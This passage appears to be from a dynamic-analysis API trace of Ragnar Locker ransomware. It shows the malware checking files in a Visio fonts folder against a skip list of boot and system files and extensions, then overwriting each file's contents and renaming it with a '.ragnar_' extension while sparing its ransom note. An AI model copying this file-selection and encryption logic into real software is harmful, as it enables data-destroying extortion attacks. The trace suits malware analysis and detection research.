Shared\\Fonts\\GBCBIG.SHX", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\GBCBIG.SHX.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\GBCBIG.SHX.ragnar_FD7BD9FC" [0078.334] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\GBCBIG.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\gbcbig.shx"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\GBCBIG.SHX.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\gbcbig.shx.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0078.335] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2656900, ftCreationTime.dwHighDateTime=0x1c2706c, ftLastAccessTime.dwLowDateTime=0x820ca2e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2656900, ftLastWriteTime.dwHighDateTime=0x1c2706c, nFileSizeHigh=0x0, nFileSizeLow=0x2b01, dwReserved0=0x0, dwReserved1=0x0, cFileName="IC-TXT.SHX", cAlternateFileName="")) returned 1 [0078.335] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x49 [0078.335] lstrcpyW (in: lpString1=0x1eab74, lpString2="IC-TXT.SHX" | out: lpString1="IC-TXT.SHX") returned="IC-TXT.SHX" [0078.335] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\IC-TXT.SHX") returned=".SHX" [0078.335] lstrcmpiW (lpString1="IC-TXT.SHX", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.335] lstrcmpiW (lpString1="IC-TXT.SHX", lpString2="autorun.inf") returned 1 [0078.335] lstrcmpiW (lpString1="IC-TXT.SHX", lpString2="boot.ini") returned 1 [0078.335] lstrcmpiW (lpString1="IC-TXT.SHX", lpString2="bootfont.bin") returned 1 [0078.335] lstrcmpiW (lpString1="IC-TXT.SHX", lpString2="bootsect.bak") returned 1 [0078.335] lstrcmpiW (lpString1="IC-TXT.SHX", lpString2="bootmgr") returned 1 [0078.335] lstrcmpiW (lpString1="IC-TXT.SHX", lpString2="bootmgr.efi") returned 1 [0078.335] lstrcmpiW (lpString1="IC-TXT.SHX", lpString2="bootmgfw.efi") returned 1 [0078.335] lstrcmpiW (lpString1="IC-TXT.SHX", lpString2="desktop.ini") returned 1 [0078.335] lstrcmpiW (lpString1="IC-TXT.SHX", lpString2="iconcache.db") returned 1 [0078.335] lstrcmpiW (lpString1="IC-TXT.SHX", lpString2="ntldr") returned -1 [0078.335] lstrcmpiW (lpString1="IC-TXT.SHX", lpString2="ntuser.dat") returned -1 [0078.335] lstrcmpiW (lpString1="IC-TXT.SHX", lpString2="ntuser.dat.log") returned -1 [0078.335] lstrcmpiW (lpString1="IC-TXT.SHX", lpString2="ntuser.ini") returned -1 [0078.335] lstrcmpiW (lpString1="IC-TXT.SHX", lpString2="thumbs.db") returned -1 [0078.335] lstrcmpiW (lpString1=".SHX", lpString2=".db") returned 1 [0078.335] lstrcmpiW (lpString1=".SHX", lpString2=".sys") returned -1 [0078.335] lstrcmpiW (lpString1=".SHX", lpString2=".dll") returned 1 [0078.335] lstrcmpiW (lpString1=".SHX", lpString2=".lnk") returned 1 [0078.335] lstrcmpiW (lpString1=".SHX", lpString2=".msi") returned 1 [0078.335] lstrcmpiW (lpString1=".SHX", lpString2=".drv") returned 1 [0078.335] lstrcmpiW (lpString1=".SHX", lpString2=".exe") returned 1 [0078.335] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\IC-TXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\ic-txt.shx")) returned 0x20 [0078.346] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\IC-TXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\ic-txt.shx"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0078.346] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=11009) returned 1 [0078.346] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x2af8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.346] GetProcessHeap () returned 0x580000 [0078.346] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0078.346] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0078.348] VirtualAlloc (lpAddress=0x0, dwSize=0x2b01, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0078.348] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.348] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0078.348] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2b01, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x2b01, lpOverlapped=0x0) returned 1 [0078.349] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0078.349] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2b01, nNumberOfBytesToLockHigh=0x0) returned 1 [0078.349] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2b01, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x2b01, lpOverlapped=0x0) returned 1 [0078.350] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2b01, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0078.350] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0078.350] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x2b01, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.350] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0078.350] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0078.350] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0078.350] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0078.350] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0078.350] GetProcessHeap () returned 0x580000 [0078.350] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0078.350] CloseHandle (hObject=0x100) returned 1 [0078.350] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\IC-TXT.SHX" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\IC-TXT.SHX") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\IC-TXT.SHX" [0078.350] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\IC-TXT.SHX", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\IC-TXT.SHX.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\IC-TXT.SHX.ragnar_FD7BD9FC" [0078.351] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\IC-TXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\ic-txt.shx"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\IC-TXT.SHX.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\ic-txt.shx.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0078.351] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8f60300, ftCreationTime.dwHighDateTime=0x1c324cc, ftLastAccessTime.dwLowDateTime=0x820ca2e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc8f60300, ftLastWriteTime.dwHighDateTime=0x1c324cc, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICAD.FMP", cAlternateFileName="")) returned 1 [0078.351] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x49 [0078.351] lstrcpyW (in: lpString1=0x1eab74, lpString2="ICAD.FMP" | out: lpString1="ICAD.FMP") returned="ICAD.FMP" [0078.351] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\ICAD.FMP") returned=".FMP" [0078.351] lstrcmpiW (lpString1="ICAD.FMP", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.351] lstrcmpiW (lpString1="ICAD.FMP", lpString2="autorun.inf") returned 1 [0078.351] lstrcmpiW (lpString1="ICAD.FMP", lpString2="boot.ini") returned 1 [0078.351] lstrcmpiW (lpString1="ICAD.FMP", lpString2="bootfont.bin") returned 1 [0078.351] lstrcmpiW (lpString1="ICAD.FMP", lpString2="bootsect.bak") returned 1 [0078.351] lstrcmpiW (lpString1="ICAD.FMP", lpString2="bootmgr") returned 1 [0078.351] lstrcmpiW (lpString1="ICAD.FMP", lpString2="bootmgr.efi") returned 1 [0078.351] lstrcmpiW (lpString1="ICAD.FMP", lpString2="bootmgfw.efi") returned 1 [0078.351] lstrcmpiW (lpString1="ICAD.FMP", lpString2="desktop.ini") returned 1 [0078.351] lstrcmpiW (lpString1="ICAD.FMP", lpString2="iconcache.db") returned -1 [0078.351] lstrcmpiW (lpString1="ICAD.FMP", lpString2="ntldr") returned -1 [0078.352] lstrcmpiW (lpString1="ICAD.FMP", lpString2="ntuser.dat") returned -1 [0078.352] lstrcmpiW (lpString1="ICAD.FMP", lpString2="ntuser.dat.log") returned -1 [0078.352] lstrcmpiW (lpString1="ICAD.FMP", lpString2="ntuser.ini") returned -1 [0078.352] lstrcmpiW (lpString1="ICAD.FMP", lpString2="thumbs.db") returned -1 [0078.352] lstrcmpiW (lpString1=".FMP", lpString2=".db") returned 1 [0078.352] lstrcmpiW (lpString1=".FMP", lpString2=".sys") returned -1 [0078.352] lstrcmpiW (lpString1=".FMP", lpString2=".dll") returned 1 [0078.352] lstrcmpiW (lpString1=".FMP", lpString2=".lnk") returned -1 [0078.352] lstrcmpiW (lpString1=".FMP", lpString2=".msi") returned -1 [0078.352] lstrcmpiW (lpString1=".FMP", lpString2=".drv") returned 1 [0078.352] lstrcmpiW (lpString1=".FMP", lpString2=".exe") returned 1 [0078.352] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\ICAD.FMP" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\icad.fmp")) returned 0x20 [0078.352] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\ICAD.FMP" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\icad.fmp"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0078.352] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=326) returned 1 [0078.352] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x13d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.352] GetProcessHeap () returned 0x580000 [0078.352] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0078.352] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0078.353] VirtualAlloc (lpAddress=0x0, dwSize=0x146, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0078.353] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.353] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0078.353] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x146, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x146, lpOverlapped=0x0) returned 1 [0078.353] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0078.354] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x146, nNumberOfBytesToLockHigh=0x0) returned 1 [0078.354] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x146, lpOverlapped=0x0) returned 1 [0078.354] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x146, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0078.354] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0078.354] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x146, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.354] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0078.354] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0078.354] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0078.354] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0078.354] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0078.354] GetProcessHeap () returned 0x580000 [0078.354] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0078.354] CloseHandle (hObject=0x100) returned 1 [0078.354] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\ICAD.FMP" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\ICAD.FMP") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\ICAD.FMP" [0078.355] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\ICAD.FMP", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\ICAD.FMP.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\ICAD.FMP.ragnar_FD7BD9FC" [0078.355] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\ICAD.FMP" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\icad.fmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\ICAD.FMP.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\icad.fmp.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0078.355] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80dfade0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x80dfade0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0078.355] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x49 [0078.355] lstrcpyW (in: lpString1=0x1eab74, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0078.355] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\RGNR_FD7BD9FC.txt") returned=".txt" [0078.355] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0078.355] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x853f7be0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x369d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHGDTXT.SHX", cAlternateFileName="")) returned 1 [0078.355] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x49 [0078.355] lstrcpyW (in: lpString1=0x1eab74, lpString2="WHGDTXT.SHX" | out: lpString1="WHGDTXT.SHX") returned="WHGDTXT.SHX" [0078.355] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGDTXT.SHX") returned=".SHX" [0078.355] lstrcmpiW (lpString1="WHGDTXT.SHX", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0078.355] lstrcmpiW (lpString1="WHGDTXT.SHX", lpString2="autorun.inf") returned 1 [0078.355] lstrcmpiW (lpString1="WHGDTXT.SHX", lpString2="boot.ini") returned 1 [0078.355] lstrcmpiW (lpString1="WHGDTXT.SHX", lpString2="bootfont.bin") returned 1 [0078.355] lstrcmpiW (lpString1="WHGDTXT.SHX", lpString2="bootsect.bak") returned 1 [0078.355] lstrcmpiW (lpString1="WHGDTXT.SHX", lpString2="bootmgr") returned 1 [0078.355] lstrcmpiW (lpString1="WHGDTXT.SHX", lpString2="bootmgr.efi") returned 1 [0078.355] lstrcmpiW (lpString1="WHGDTXT.SHX", lpString2="bootmgfw.efi") returned 1 [0078.356] lstrcmpiW (lpString1="WHGDTXT.SHX", lpString2="desktop.ini") returned 1 [0078.356] lstrcmpiW (lpString1="WHGDTXT.SHX", lpString2="iconcache.db") returned 1 [0078.356] lstrcmpiW (lpString1="WHGDTXT.SHX", lpString2="ntldr") returned 1 [0078.356] lstrcmpiW (lpString1="WHGDTXT.SHX", lpString2="ntuser.dat") returned 1 [0078.356] lstrcmpiW (lpString1="WHGDTXT.SHX", lpString2="ntuser.dat.log") returned 1 [0078.356] lstrcmpiW (lpString1="WHGDTXT.SHX", lpString2="ntuser.ini") returned 1 [0078.356] lstrcmpiW (lpString1="WHGDTXT.SHX", lpString2="thumbs.db") returned 1 [0078.356] lstrcmpiW (lpString1=".SHX", lpString2=".db") returned 1 [0078.356] lstrcmpiW (lpString1=".SHX", lpString2=".sys") returned -1 [0078.356] lstrcmpiW (lpString1=".SHX", lpString2=".dll") returned 1 [0078.356] lstrcmpiW (lpString1=".SHX", lpString2=".lnk") returned 1 [0078.356] lstrcmpiW (lpString1=".SHX", lpString2=".msi") returned 1 [0078.356] lstrcmpiW (lpString1=".SHX", lpString2=".drv") returned 1 [0078.356] lstrcmpiW (lpString1=".SHX", lpString2=".exe") returned 1 [0078.356] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGDTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgdtxt.shx")) returned 0x20 [0078.357] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGDTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgdtxt.shx"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0078.357] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=223699) returned 1 [0078.357] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x369ca, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.357] GetProcessHeap () returned 0x580000 [0078.357] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0078.357] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0078.358] VirtualAlloc (lpAddress=0x0, dwSize=0x369d3, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0078.358] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.358] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0078.359] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x369d3, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x369d3, lpOverlapped=0x0) returned 1 [0078.363] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0078.364] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x369d3, nNumberOfBytesToLockHigh=0x0) returned 1 [0078.364] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x369d3, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x369d3, lpOverlapped=0x0) returned 1 [0078.365] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x369d3, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0078.365] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0078.366] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x369d3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.366] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0078.366] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0078.367] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0078.367] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, 